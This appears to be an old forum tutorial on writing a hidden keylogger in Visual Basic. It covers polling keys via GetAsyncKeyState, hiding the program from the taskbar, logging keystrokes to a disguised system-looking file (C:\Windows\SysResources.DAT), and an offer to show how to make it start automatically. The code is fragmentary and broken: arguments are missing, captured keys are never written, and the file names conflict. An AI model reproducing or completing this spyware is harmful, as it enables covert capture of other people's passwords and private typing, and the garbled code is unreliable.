Creating a KeyLogger in VB |
Ok...I am assuming that you have a basic understanding as to how visual basic works and how to make programs, debug, and compile. If not, email me and I might be able to help. First, if you don't have it, get it. ApiGuide. Download it at http://www.mentalis.org/agnet/apiguide.shtml Ok. Open VB and start a new application. Add to the form a button, a timer, and a module(I know the module isn't actually part of the form). Thats all. Change there caption of the button to Start Logging Declare Function GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState" ^---put this in the declarations section of the module. That is all one line of code. Make sure its like that. and not split in 2. Now you have a new function to use through your program. OK. In the button code..., in the click event of course... app.taskvisible = false
Now when we click the button...it goes invisible. Now we are going to need some variables.... Dim strLetter as String, strTotal as String Now in the timer code put this. Ill explain afterward. Private Sub Timer1_Timer() For I = 28 To 128 If GetAsyncKeyState <> 0 Then strLetter = Chr(I)
Next I open "C:\Windows\SysResources.DAT" for output as #1 End Sub
Now all you have to do is when you want to check the keys pressed, open up C:\Windows\SysResource.DAT in notepad, and there it is. This program will not run on start up. If you want to know how to do that, PM me, but preferably email me. I would much rather have you add me to Msn Messenger. My email for messenger is... Black_viper_13@hotmail.com Hope this helps! 'BEGINNING Dim strLetter As String, strTotal As String, old as string Private Sub Command1_Click() Private Sub Form_Load() Private Sub Timer1_Timer() 'ENDING i think thats it besides the Module of course. |